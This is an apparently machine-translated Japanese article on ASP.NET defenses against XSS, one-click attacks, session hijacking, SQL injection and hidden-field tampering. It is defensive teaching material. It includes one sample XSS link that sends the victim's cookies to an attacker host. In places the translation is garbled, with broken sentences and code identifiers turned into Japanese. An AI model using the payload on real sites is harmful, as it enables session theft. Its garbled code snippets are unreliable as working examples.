ASP.NET の組み込み機能を活用して Web 攻撃を防御します

ASP.NET 開発者が常に行うべきこと この記事を読んでいる方は、おそらく、Web アプリケーションのセキュリティがますます重要になっていると確信する必要はありません。おそらく必要なのは、ASP.NET アプリケーションにセキュリティを実装する方法に関する実践的なアドバイスです。悪いニュースは、ASP.NET を含む開発プラットフォームは、一度そのプラットフォームを採用すれば 100% 安全なコードを作成できることを保証できないことです。そう言う人は嘘をついているに違いない。良いニュースは、ASP.NET の場合、ASP.NET、特にバージョン 1.1 と次期バージョン 2.0 には、使いやすいいくつかの組み込み防御機能が組み込まれていることです。

これらの機能をすべて適用するだけでは、Web アプリケーションをあらゆる可能性および予見可能な攻撃から保護するには十分ではありません。ただし、組み込みの ASP.NET 機能を他の防御手法やセキュリティ戦略と組み合わせると、アプリケーションを安全な環境で実行できるようにするための強力なツールキットを形成できます。

Web セキュリティは多くの要素の合計であり、単一のアプリケーションをはるかに超えて、データベース管理、ネットワーク構成、ソーシャル エンジニアリングとフィッシングを含む戦略の結果です。

この記事の目的は、セキュリティ標準を適切なレベルに維持するために ASP.NET 開発者が常に行うべきことを説明することです。それがセキュリティのすべてです。常に警戒を怠らず、完全に警戒を緩めないことで、悪者によるハッキングがますます困難になります。

この作業を簡素化するために ASP.NET が提供する機能を見てみましょう。

トップに戻る 脅威の原因 表 1 に、最も一般的な種類の Web 攻撃と、これらの攻撃を成功させる可能性のあるアプリケーションの欠陥をまとめました。

攻撃の実行者として考えられるもの クロスサイト スクリプティング (XSS)
信頼できないユーザー入力がページにエコーされる

SQL インジェクション ユーザー入力を連結して SQL コマンドを形成する

セッション ハイジャック セッション ID 推測され盗まれたセッション ID Cookie

ワンクリックで監視されていない HTTP がスクリプト経由で送信される

隠しドメインの改ざんの投稿 チェックされていない (および信頼できる) 隠しフィールドに機密情報が入力されるデータ

一般的な Web 攻撃

のリストから明らかになる重要な事実は何ですか

私の意見では、少なくとも 3 つのことが考えられます。

• ブラウザのマークアップにユーザー入力を挿入すると、コード インジェクション攻撃 (SQL インジェクションおよび XSS 亜種) にさらされる可能性があります。

• データベース アクセスは、安全な方法で実装する必要があります。つまり、データベースに対する権限をできるだけ少なくし、役割に応じて個々のユーザーの責任を分割します。

• 機密データはネットワーク経由で (ましてや平文で) 決して送信してはならず、安全な方法でサーバーに保存する必要があります。

興味深いことに、上記の 3 つのポイントはそれぞれ、Web セキュリティの 3 つの異なる側面を対象としており、これら 3 つの側面を組み合わせることが、攻撃と改ざんを防止するアプリケーションを生成する唯一の合理的な方法です。 Web セキュリティのさまざまな層は次のように要約できます。

• コーディングの実践: データの検証、タイプとバッファ長のチェック、改ざん防止対策

• データ アクセス ポリシー: 可能な限り弱いアカウントを保護するための決定を使用し、ストアド プロシージャまたは少なくともパラメータ化を使用します。指示。

• 効果的なストレージと管理: 重要なデータをクライアントに送信せず、ハッシュ コードを使用して操作を検出し、ユーザーを認証して ID を保護し、厳格なパスワード ポリシーを適用します。

ご覧のとおり、安全なアプリケーションは、開発者、アーキテクト、管理者の協力によってのみ作成できます。他の方法でも同じ目的を達成できるとは考えないでください。

ASP.NET アプリケーションを作成するとき、ハッカーの軍隊に立ち向かうのはあなただけではありません。唯一の武器は、頭脳、スキル、指を使って入力するコード行だけです。 ASP.NET 1.1 以降は、上記の脅威の一部に対する防御を自動的に強化する特定の機能を備えています。以下でそれらを詳しく見ていきます。
ViewStateUserKey
ASP.NET 1.1 以降に導入された ViewStateUserKey は、Page クラスの文字列プロパティであり、実際に精通している開発者はわずかです。なぜ？ドキュメントに何が書かれているか見てみましょう。

現在のページに関連付けられたビューステート変数で個々のユーザーに識別子を割り当てるという

、この文の意味は非常に明確ですが、この文がプロパティの本来の目的を説明していると正直に言えますか。 ViewStateUserKey の役割を理解するには、「備考」セクションまで読み続ける必要があります。

このプロパティは、ビューステートの改ざんを防ぐハッシュを作成するための追加入力を提供するため、ワンクリック攻撃の防止に役立ちます。つまり、ViewStateUserKey を使用すると、ハッカーがクライアントのビューステートのコンテンツを使用して、サイトに対する悪意のある投稿を準備することがはるかに困難になります。このプロパティには空ではない任意の文字列を割り当てることができますが、セッション ID またはユーザーの ID を割り当てることが望ましいです。このプロパティの重要性をよりよく理解するために、ワンクリック攻撃の基本を簡単に紹介しましょう。

ワンクリック攻撃では、既知の脆弱な Web サイトに悪意のある HTTP フォームを投稿します。これは「ワンクリック」と呼ばれます。これは、被害者が電子メールで見つけた魅力的なリンクを誤ってクリックしたり、混雑したフォーラムを閲覧したりすることから始まることが多いためです。リンクをクリックすると、ユーザーは誤ってリモート プロセスをトリガーし、最終的には悪意のある <form> がサイトに送信されることになります。正直に言うと、「ここをクリックして 1,000,000 ドルを勝ち取ります」のようなリンクを興味本位でクリックしたことがないと本当に言えますか?明らかに、あなたに悪いことは何も起こりませんでした。それが事実だと仮定しましょう。Web コミュニティの他の全員が生き残ったと言えるでしょうか?知るか。

ワンクリック攻撃が成功するには、次のような背景条件が必要です。

• 攻撃者は、脆弱なサイトについて十分な知識を持っている必要があります。これが可能になるのは、攻撃者がファイルを「熱心に」研究しているか、または攻撃者が怒っている内部関係者 (不正行為で解雇された従業員など) であるためです。したがって、このような攻撃の結果は非常に深刻になる可能性があります。

• サイトはシングル サインオンを有効にするために Cookie (永続的な Cookie の方が良い) を使用しており、攻撃者は有効な認証 Cookie を受信して​​いる必要があります。

• サイトの特定のユーザーが機密性の高い取引を行っていました。

• 攻撃者はターゲットページにアクセスできる必要があります。

前述したように、この攻撃には、悪意のある HTTP フォームを、フォームを待機するページに送信することが含まれます。このページは、投稿されたデータを使用して機密性の高い操作を実行すると推測できます。ご想像のとおり、攻撃者は各ドメインの使用方法を正確に知っており、目的を達成するためにいくつかの偽の値を考え出すことができます。これは通常、ターゲット固有の攻撃であり、三角関係が形成されるため追跡が困難です。つまり、ハッカーは被害者をだましてハッカーのサイトのリンクをクリックさせ、その結果、悪意のあるコードが Web サイトに投稿されます。サードパーティのサイト。

なぜ何の疑いも持たない被害者が？これは、この場合、サーバー ログに表示される悪意のあるリクエストの送信元の IP アドレスが被害者の IP アドレスであるためです。前述したように、このツールは「従来の」XSS ほど一般的ではありません (そして起動が簡単ではありません)。ただし、その性質上、壊滅的な結果をもたらす可能性があります。どうやって対処すればいいのでしょうか？次に、この攻撃が ASP.NET 環境でどのように機能するかを調べます。

Page_Load イベント内でアクションがコーディングされていない限り、ASP.NET ページがポストバック イベントの外部で機密コードを実行することは不可能です。ポストバック イベントが発生するには、ビュー ステート フィールドが必要です。 ASP.NET は要求のポストバック ステータスをチェックし、_VIEWSTATE 入力フィールドが存在するかどうかに応じて IsPostBack を設定することに注意してください。したがって、偽のリクエストを ASP.NET ページに送信したい場合は、有効なビュー ステート フィールドを提供する必要があります。

ワンクリック攻撃が成功するには、ハッカーがページにアクセスできる必要があります。この時点で、先見の明のあるハッカーはページをローカルに保存します。このようにして、ユーザーは _VIEWSTATE フィールドにアクセスし、そのフィールドを使用して、古いビューステートと他のフィールドからの悪意のある値を含むリクエストを作成できます。問題は、これが機能するかどうかです。

なぜだめですか？攻撃者が有効な認証 Cookie を提供できる場合、ハッカーは侵入し、要求は通常どおり処理されます。ビュー ステートの内容はサーバー上でまったくチェックされないか (EnableViewStataMac がオフの場合)、改ざんされた場合にのみチェックされます。デフォルトでは、ビューステートには、このコンテンツを特定のユーザーに関連付けるメカニズムはありません。攻撃者は、別のユーザーになりすまして偽のリクエストを生成することで、取得したビューステートを簡単に再利用してページに合法的にアクセスできます。ここで ViewStateUserKey が活躍します。
正確に選択すると、このプロパティはビューステートにユーザー固有の情報を追加できます。要求を処理するとき、ASP.NET はビュー ステートからキーを抽出し、それを実行中のページの ViewStateUserKey と比較します。 2 つが一致する場合、リクエストは正当であると見なされ、そうでない場合は例外がスローされます。この属性にはどのような値が有効ですか?

すべてのユーザーに対して ViewStateUserKey を定数文字列に設定することは、空のままにすることと同じです。ユーザーごとに異なる値 (ユーザー ID、できればセッション ID) に設定する必要があります。技術的および社会的な理由により、セッション ID は予測不可能であり、時間の経過とともに期限切れになり、ユーザーごとに異なるため、セッション ID の方が適切です。

すべてのページに不可欠なコードを次に示します。

void Page_Init (object sender, EventArgs e) {
ViewStateUserKey = セッション.セッションID;
:

、

Page から派生したクラスの OnInit 仮想メソッドにコードを固定します。 (このプロパティは Page.Init イベントで設定する必要があることに注意してください。)

protected override OnInit(EventArgs e) {
Base.OnInit(e);
ViewStateUserKey = セッション.セッションID;
「

より豊かな基盤で ASP.NET ページを構築する」の記事で説明したように、一般に、基本ページ クラスを使用することは常に良いことです。ワンクリック攻撃者が使用する戦術について詳しく知りたい場合は、aspnetpro.com で非常に優れた記事を見つけることができます。

Cookieと認証
Cookie は、開発者が特定の目的を達成するのに役立つために存在します。 Cookie は、ブラウザとサーバー間の永続的なリンクとして機能します。特にシングル サインオンを使用するアプリケーションの場合、盗まれた Cookie によって攻撃が可能になります。これはワンクリック攻撃にもまったく当てはまります。

Cookie を使用するには、プログラムで明示的に作成して読み取る必要はありません。セッション状態を使用してフォーム認証を実装すると、暗黙的に Cookie が使用されます。もちろん、ASP.NET は Cookie のないセッション状態をサポートしており、ASP.NET 2.0 では Cookie のないフォーム認証も導入されています。したがって、理論的には、Cookie なしでもこれらの機能を使用できます。もうこれを行う必要がないとは言いませんが、事実、これは病気よりも治療の方が悪い状況の1つです。 Cookie を使用しないセッションでは、実際には URL にセッション ID が埋め込まれ、誰でも確認できるようになります。

Cookie の使用に関連する潜在的な問題は何ですか? Cookie は盗まれる (つまり、ハッカーのコンピュータにコピーされる) ことや、汚染される (つまり、悪意のあるデータで埋められる) 可能性があります。これらのアクションは、多くの場合、今後の攻撃の前兆となります。盗まれた場合、Cookie は外部ユーザーにユーザーに代わってアプリケーションに接続する (および保護されたページを使用する) ことを「承認」します。そのため、ハッカーが簡単に承認を回避し、被害者に許可されている役割とセキュリティ設定を実行できる可能性があります。あらゆる操作。したがって、認証 Cookie の有効期間は通常 30 分と比較的短いです。 (ブラウザ セッションの完了に時間がかかる場合でも、Cookie は期限切れになることに注意してください。) 盗難が発生した場合、ハッカーには 30 分間攻撃を試みる時間が与えられます。

ユーザーが頻繁にログインする必要がないように、この制限時間を長くすることもできますが、そうすることで自分自身が危険にさらされることに注意してください。 ASP.NET 永続 Cookie の使用は、いかなる状況でも避けてください。これにより、最長 50 年のほぼ永久的な寿命を持つ Cookie が生成されます。次のコード スニペットは、Cookie の有効期限を簡単に変更する方法を示しています。

void OnLogin(オブジェクト送信者, EventArgs e) {
// 認証情報を確認する
if (ValidateUser(user, pswd)) {
// Cookie の有効期限を設定します
HttpCookie クッキー;
cookie = FormsAuthentication.GetAuthCookie(user, isPersistent);
if (isPersistent)
cookie.Expires = DateTime.Now.AddDays(10);
// 応答に Cookie を追加します
Response.Cookies.Add(cookie);
//リダイレクト
文字列ターゲットURL;
targetUrl = FormsAuthentication.GetRedirectUrl(user, isPersistent);
Response.Redirect(targetUrl);
}

、

認証 Cookie の有効期間を微調整できます。

セッションハイジャック
Cookie は、特定のユーザーのセッション状態を取得するためにも使用されます。セッション ID は、リクエストとともに送受信され、ブラウザのコンピュータに保存される Cookie に保存されます。同様に、セッション Cookie が盗まれた場合、ハッカーがシステムに侵入し、他の人のセッション状態にアクセスできるようにするために使用される可能性があります。言うまでもなく、これは、指定されたセッションがアクティブである限り (通常は 20 分以内) 可能です。偽装されたセッション状態による攻撃は、セッション ハイジャックと呼ばれます。セッション ハイジャックの詳細については、「Web 上の盗難: セッション ハイジャックの防止」を参照してください。

この攻撃はどれほど危険ですか?わかりにくいですね。これは、Web サイトの機能、そしてさらに重要なことに、サイトのページのデザインによって決まります。たとえば、他の人のセッション Cookie を取得して、それをサイト上のページのリクエストに添付できたとします。ページをロードし、通常のユーザー インターフェイスをステップ実行します。ページが別のユーザーのセッション状態を使用して動作する場合を除き、ページにコードを挿入したり、ページ内の内容を変更したりすることはできません。これ自体はそれほど悪いことではありませんが、そのセッション内の情報が機密で重要な場合は、悪用の成功に直接つながる可能性があります。ハッカーはセッション ストアの内容に侵入することはできませんが、合法的に侵入したかのように、そこに保存されている情報を使用することができます。たとえば、ユーザーがサイトを閲覧中にショッピング カートに商品を追加する電子商取引アプリケーションを考えてみましょう。

• オプション 1。 ショッピング カートの内容はセッション状態で保存されます。ただし、チェックアウト中に、ユーザーは安全な SSL 接続を介して支払いの詳細を確認して入力するように求められます。この場合、ハッカーは他のユーザーのセッション状態にアクセスすることによって、被害者のショッピングの好みに関する詳細を知ることしかできません。この環境でのハイジャックは実際には何の損害も引き起こしません。問題となっているのは機密保持だ。

• オプション 2。アプリケーションは、登録済みユーザーごとに 1 つのプロファイルを処理し、プロファイルをセッション状態に保存します。さらに悪いことに、プロフィールには (おそらく) クレジット カード情報が含まれています。プロファイルの詳細がセッションに保存されるのはなぜですか?おそらくこのアプリの目的の 1 つは、ユーザーがクレジット カードや銀行情報を繰り返し入力する必要を本質的になくすことです。したがって、チェックアウト時に、アプリケーションはユーザーを事前に設定されたドメインを持つページに誘導します。不必要に、これらのフィールドの 1 つはセッション状態から取得されたクレジット カード番号です。物語がどのように終わるか想像できますか?

アプリケーション ページの設計は、セッション ハイジャック攻撃を防ぐ鍵となります。もちろん、まだ解明されていない点が 2 つあります。最初のポイントは、Cookie の盗難をどのように防ぐかということです。 2 番目のポイントは、ASP.NET がハイジャックをどのように検出して防止できるかということです。

ASP.NET セッション Cookie は非常に単純で、セッション ID 文字列自体を含むものに限定されています。 ASP.NET ランタイムは Cookie からセッション ID を抽出し、それをアクティブなセッションと比較します。 ID が有効な場合、ASP.NET は対応するセッションに接続して続行します。この動作により、ハッカーは有効なセッション ID を盗んだり推測したりすることが非常に容易になります。

XSS 攻撃や中間者攻撃、クライアント PC へのブルート フォース アクセスはすべて、有効な Cookie を取得する方法です。盗難を防ぐには、XSS とその亜種が成功しないようにセキュリティのベスト プラクティスを実装する必要があります。

また、セッション ID の推測を防ぐには、自分のスキルを過大評価しないようにする必要があります。セッション ID を推測するということは、有効なセッション ID 文字列を予測する方法を知っていることを意味します。 ASP.NET で使用されるアルゴリズム (URL 対応文字にマッピングされた 15 個の乱数) では、有効な ID をランダムに推測する確率はゼロに近くなります。デフォルトのセッション ID ジェネレーターを独自のものに置き換える理由が思いつきません。多くの場合、そうすることは攻撃者にとって事態を容易にするだけです。

セッション ハイジャックのさらに悪い結果は、Cookie が盗まれたり推測されたりすると、ASP.NET が Cookie の不正使用を検出できなくなることです。繰り返しになりますが、その理由は、ASP.NET が ID の有効性と Cookie の発行元のチェックに限定されているためです。

Wintellect の友人 Jeff Prosise が、MSDN マガジンにセッション ハイジャックに関する優れた記事を書きました。彼の結論は安心できるものではありません。盗まれたセッション ID Cookie に基づく攻撃から完全に保護できる防御を構築することはほぼ不可能です。しかし、彼が開発したコードは、セキュリティ標準をさらに改善するための非常に賢明な提案を提供します。 Jeff は、受信リクエストとセッション ID Cookie の送信応答を監視する HTTP モジュールを作成しました。このモジュールはセッション ID にハッシュ コードを追加し、攻撃者が Cookie を再利用することをより困難にします。詳細はここで読むことができます。
EnableViewStateMac
ビュー ステートは、同じページに対する 2 つの連続したリクエストの間でコントロールの状態を維持するために使用されます。デフォルトでは、ビューステートは Base64 でエンコードされ、改ざんを防ぐためにハッシュで署名されます。デフォルトのページ設定を変更せずにビューステートを変更することはできません。攻撃者がビュー ステートを変更したり、正しいアルゴリズムを使用してビュー ステートを再生成したりすると、ASP.NET はこれらの試みをキャッチし、例外をスローします。ビューステートの改ざんは、サーバー コントロールの状態を変更するため、必ずしも有害というわけではありませんが、深刻な感染の媒介となる可能性があります。したがって、デフォルトで実行されるコンピューター認証コード (MAC) のクロスチェックを削除しないことが非常に重要です。

MAC チェックが有効になっている場合 (デフォルト)、シリアル化されたビュー ステートにハッシュ値が追加されます。これは、サーバー側の値とビュー ステートのユーザー シークレット (存在する場合) を使用して生成されます。ビューステートがポストバックされると、新しいサーバー側の値を使用してハッシュが再計算され、保存されている値と比較されます。 2 つが一致する場合、リクエストは許可されます。そうでない場合は、例外がスローされます。ハッカーがビューステートを解読して再生成する能力を持っていると仮定しても、有効なハッシュを導出するにはサーバーに保存されている値を知る必要があります。具体的には、ハッカーは machine.config の <machineKey> エントリで参照されているコンピュータ キーを知っている必要があります。

デフォルトでは、エントリは自動的に生成され、Windows ローカル セキュリティ機関 (LSA) に物理的に保存されます。ビュー ステートのマシン キーがすべてのマシンで同じである必要がある Web ファームの場合にのみ、machine.config ファイルでクリア テキストとして指定する必要があります。

ビュー ステートの MAC チェックは、EnableViewStateMac という名前の @Page ディレクティブ属性を通じて制御されます。前述したように、デフォルトでは true に設定されています。これを無効にしないでください。無効にすると、ビューステートの改ざんに対するワンクリック攻撃が高い確率で成功する可能性があります。
検証リクエスト
クロスサイト スクリプティング (XSS) は、1999 年から存在しており、多くの経験豊富な Web 開発者にとって古い友人です。簡単に言えば、XSS はコードの脆弱性を悪用して、ハッカーの実行可能コードを別のユーザーのブラウザ セッションに導入します。実行されると、挿入されたコードはさまざまなアクションを実行できます。Cookie を取得してハッカーが制御する Web サイトにコピーをアップロードし、ユーザーの Web セッションを監視してデータを転送し、ハッキングされたページの動作と外観を変更して、ハッキングされたページの動作と外観を変更します。虚偽の情報を提供したり、次回ユーザーがそのページに戻ったときに不正なコードが再度実行されるようにしつこくしたりすることもあります。 XSS 攻撃の基本について詳しくは、TechNet の記事「クロスサイト スクリプティングの概要」をご覧ください。

XSS 攻撃を可能にするコードのどのような脆弱性がありますか?

XSS は、HTML ページを動的に生成するが、ページに返される入力を検証しない Web アプリケーションを悪用します。ここでの入力とは、クエリ文字列、Cookie、フォーム フィールドの内容を指します。このコンテンツが適切なパフォーマンス チェックなしで Web 上に表示されると、ハッカーがコンテンツを操作してクライアント ブラウザで悪意のあるスクリプトを実行する危険性があります。 (前述のワンクリック攻撃は、実際には XSS の最近の亜種です。) 典型的な XSS 攻撃では、リンクに埋め込まれたスクリプト コードがエスケープされた魅力的なリンクを、何も知らないユーザーがクリックします。不正なコードは脆弱なページに送信され、疑われずに出力されます。何が起こるかの例を次に示します。

<a href=" http://www.vulnerableserver.com/brokenpage.aspx?Name =
<script>document.location.replace(
'http://www.hackersite.com/HackerPage.aspx?
Cookie=' + document.cookie);
＜/script>">クリックして賞品を受け取ります＜/a>

ユーザーが一見安全なリンクをクリックすると、最終的にはいくつかのスクリプト コードが脆弱なページに渡されます。これらのコードは、最初にユーザーのコンピュータ上のすべての Cookie を取得します。

ベンダー

固有の問題ではないため、現在市販されているすべての Web サーバーやブラウザに影響を与えるわけではないことに注意してください。単一のパッチではこれを修正できないことに注意してください。

XSS を防御するには

、攻撃者がリンクをクリックする必要はないことに注意してください。

どの入力が有効であるかを判断し、他のすべての入力を拒否するようにしてください。特に、Michael Howard と David LeBlanc 著の「Microsoft—Writing Secure Code」で、XSS 攻撃を防御するための詳細なチェックリストを読むことができます。第 13 章をお読みください。

潜行的な XSS 攻撃を防ぐ主な方法は、入力 (あらゆる種類の入力データ) をフィードすることです。たとえば、場合によって

は

@Page ディレクティブの ValidateRequest 属性がオンになっていると、ユーザーがクエリ文字列、Cookie、またはフォーム フィールドで潜在的に危険な HTML タグを送信していないかどうかがチェックされます。これが検出されると、例外が発生し、リクエストは中止されます。この属性はデフォルトでオンになっており、HTML タグの通過を許可する場合は、これをアクティブに無効にする必要があります。

<%@ Page ValidateRequest="false" %>

、

ここを参照してください。

には

依然として

この欠陥の影響を受けていることがわかりました。

ValidateRequest ! 理由: これを無効にすることはできますが、より適切なフォーマット オプションを取得するためにユーザーがサイトに HTML を投稿できるようにする必要があるなど、十分な理由が必要です。この場合、許可される HTML タグ (<pre>、<b>、<i>、<p>、<br>、<hr>) の数を制限し、それ以外は許可されないように正規表現を記述する必要があります。または受け入れられました。

XSS 攻撃から ASP.NET を保護するための追加のヒントを次に示します。

• HttpUtility.HtmlEncode を使用して、危険なシンボルを HTML 表現に変換します。

• HTML エンコードでは二重引用符のみがエスケープされるため、一重引用符の代わりに二重引用符を使用します。

• コード ページで使用できる文字数を強制的に制限します。

つまり、ValidateRequest プロパティを使用しますが、完全に信頼するわけではなく、あまり怠けすぎないでください。時間をかけて XSS などのセキュリティ脅威を根本的に理解し、すべてのユーザー入力が危険であるという 1 つの重要な点を中心に防御戦略を計画します。
データベースの観点
SQL インジェクションは、サニタイズされていないユーザー入力を使用してデータベース コマンドを形成するアプリケーションを悪用する、もう 1 つのよく知られたタイプの攻撃です。ユーザーがフォーム フィールドに入力した内容をアプリケーションが喜んで使用して SQL コマンド文字列を作成すると、悪意のあるユーザーがそのページにアクセスして不正なパラメーターを入力するだけでクエリの性質を変更できるリスクにさらされます。 SQL インジェクションについて詳しくは、こちらをご覧ください。

SQL インジェクション攻撃を防ぐ方法は数多くあります。最も一般的な手法を以下に説明します。

• ユーザー入力が適切なタイプであり、予想されるパターン (郵便番号、ID 番号、電子メールなど) に従っていることを確認します。テキスト ボックスからの数値が期待される場合、ユーザーが数値に変換できないものを入力したときにリクエストをブロックします。

• パラメータ化されたクエリ、できればストアド プロシージャを使用します。

• SQL Server 権限を使用して、個々のユーザーがデータベース上で実行できることを制限します。たとえば、xp_cmdshell を無効にするか、操作を管理者のみに制限する必要がある場合があります。

ストアド プロシージャを使用すると、この攻撃の可能性を大幅に減らすことができます。実際、ストアド プロシージャを使用すると、SQL 文字列を動的に作成する必要はありません。さらに、SQL Server はすべてのパラメータが指定された型であることを確認します。これらの手法だけでは 100% 安全ではありませんが、検証と組み合わせることでセキュリティを向上させるには十分です。

さらに重要なのは、テーブルの削除など、重大な結果をもたらす可能性のある操作を許可されたユーザーのみが実行できるようにする必要があります。これには、アプリケーションの中間層を慎重に設計する必要があります。良いテクニックは (安全のためだけでなく) キャラクターに焦点を当て続けることです。ユーザーはロールにグループ化され、ロールごとに最小限の権限セットを備えたアカウントが定義される必要があります。

数週間前、Wintellect Web サイトは非常に高度な SQL インジェクション攻撃を受けました。ハッカーは、悪意のある可能性のある実行可能プログラムをダウンロードするための FTP スクリプトを作成して起動しようとしました。幸いなことに、攻撃は失敗しました。それとも、実際には強力なユーザー認証、ストアド プロシージャの使用、SQL Server アクセス許可の使用が攻撃の失敗の原因だったのでしょうか?

要約すると、有害な SQL コードの挿入を回避するには、次のガイドラインに従う必要があります。

• できるだけ少ない権限で実行し、コードを「sa」として実行しないでください。

• 組み込みストアド プロシージャへのアクセスを制限します。

• SQL パラメータ化クエリの使用を優先します。

• ステートメントは文字列の連結によって生成されず、データベース エラーはエコーされません。

上に戻る 非表示フィールド 従来の ASP では、非表示フィールドはリクエスト間でデータを保持する唯一の方法でした。次のリクエストで取得する必要があるデータはすべて、非表示の <input> フィールドにパックされ、リターン パスが実行されます。誰かがクライアント上のこのフィールドに保存されている値を変更した場合はどうなりますか?テキストが明確である限り、サーバー側環境はこれを検出できません。 ASP.NET では、ページと個々のコントロールの ViewState プロパティは 2 つの目的を果たします。 ViewState は、リクエスト間で状態を保持する方法である一方で、ViewState を使用すると、保護されて簡単に改ざんできない隠しフィールドにカスタム値を保存できます。

図 2 に示すように、ビュー ステートにはハッシュ値が付加されており、リクエストごとにこの値をチェックして改ざんの有無を検出します。いくつかのケースを除いて、ASP.NET で隠しフィールドを使用する理由はありません。ビュー ステートは、より安全な方法で同じ機能を実現します。すぐに述べたように、ビュー ステートには秘密のフィールドに機密性の高い値 (価格やクレジット カードの詳細など) を保存すると、ハッカーへの扉が開かれる可能性があります。データ保護メカニズム。ただし、ビュー ステートは改ざん防止されていますが、暗号化が使用されない限り機密性は保証されないことに注意してください。いずれにせよ、ビュー ステートに保存されているクレジット カードの詳細は危険にさらされています。

ASP.NET では、どのような場合に隠しフィールドの使用が許可されますか?データをサーバーに送り返す必要があるカスタム コントロールを構築するとき。たとえば、列の並べ替えをサポートする新しい DataGrid コントロールを作成するとします。新しい注文をポストバックでサーバーに送り返す必要があります。この情報を隠しフィールドに保存しない場合、どこに保存できますか?

隠しフィールドが読み取り/書き込みフィールドである場合、つまりクライアントがそのフィールドに書き込むことが期待されている場合、ハッカーの攻撃を完全に防ぐ方法はありません。テキストをハッシュ化または暗号化してみることもできますが、それではそれがハッキングされないという十分な確信は得られません。現時点での最善の防御策は、非表示フィールドに不活性で無害な情報を含めることです。

さらに、ASP.NET は、シリアル化されたオブジェクトをエンコードしてハッシュするために使用できるあまり知られていないクラスを公開していることにも注意してください。このクラスは、エンコードされたテキストを作成してクライアントに返すために ViewState が実装するクラスと同じです。

プライベート文字列 EncodeText(文字列テキスト) {
StringWriter ライター = new StringWriter();
LosFormatter フォーマッタ = new LosFormatter();
formatter.Serialize(ライター, テキスト);
ライターを返します。ToString();

、

LosFormatter を使用してビュー ステートのようなものを作成し、エンコードし、ハッシュする方法を示しています。
電子メールとスパム この記事の最後に、最も一般的な攻撃のうち少なくとも 2 つ (従来の XSS とワンクリック) は、通常、リンクによって開始される誘惑的で欺瞞的なものをクリックするよう、無防備な被害者を誘導することによって行われることを指摘しておきます。スパム対策フィルターを使用しているにもかかわらず、受信トレイでそのようなリンクが見つかることがよくあります。数ドルで大量の電子メール アドレスを購入できます。このようなリストを生成するために使用される主な手法の 1 つは、Web サイト上の公開ページをスキャンして、電子メール メッセージのようなものを見つけて取得することです。

電子メール アドレスがページに表示されている場合、遅かれ早かれそのアドレスは自動化された Web プログラムによって取得される可能性があります。本当に？もちろん、これはメールの表示方法によって異なります。ハードコードすると負けます。 dino-at-microsoft-dot-com などの別の表現が自動化された Web プログラムをだますことができるかどうかは明らかではありませんが、ページを読んだ人が正規の接続を確立したいと思うようになるのは間違いありません。

一般に、電子メール メッセージを mailto リンクとして動的に生成する方法を決定する必要があります。 Marco Bellinaso が作成した無料コンポーネントがまさにそれを実現します。このコンポーネントの完全なソース コードは、DotNet2TheMax Web サイトから入手できます。

まとめ Web がすべてのランタイム環境の中で最も敵対的である可能性があると疑う人はいますか?根本的な原因は、誰でも Web サイトにアクセスして、良いデータまたは悪いデータをそこに渡そうとできることです。しかし、ユーザー入力を受け入れない Web アプリケーションを作成することに何の意味があるのでしょうか?

正直に言って、ファイアウォールがどれほど強力であっても、利用可能なパッチをどれほど頻繁に適用しても、固有の欠陥を含む Web アプリケーションを実行している限り、遅かれ早かれ攻撃者はメイン チャネルに直接アクセスできるようになります。これはポート 80 です。システムの中心部にアクセスします。

ASP.NET アプリケーションは、他の Web アプリケーションに比べて脆弱性が高いわけでも、安全性が高いわけでもありません。セキュリティと脆弱性は、コーディングの実践、現実世界の経験、チームワークに等しく根付いています。ネットワークが安全でなければ、アプリケーションも安全ではありません。同様に、ネットワークがどれほど安全で適切に管理されていたとしても、アプリケーションに欠陥があれば、攻撃者は常にアクセスできるようになります。

ASP.NET の利点は、少しの作業でセキュリティ標準を許容可能なレベルまで引き上げることができる優れたツールを提供していることです。もちろん、これは十分なレベルではありません。 ASP.NET の組み込みソリューションだけに依存したり、無視したりすべきではありません。一般的な攻撃について可能な限り学びましょう。

この記事では、組み込み機能の注釈付きリストと、攻撃と防御に関する背景を説明します。外向きの攻撃を検出するために使用される技術は別の問題であり、おそらく別の記事に値するでしょう。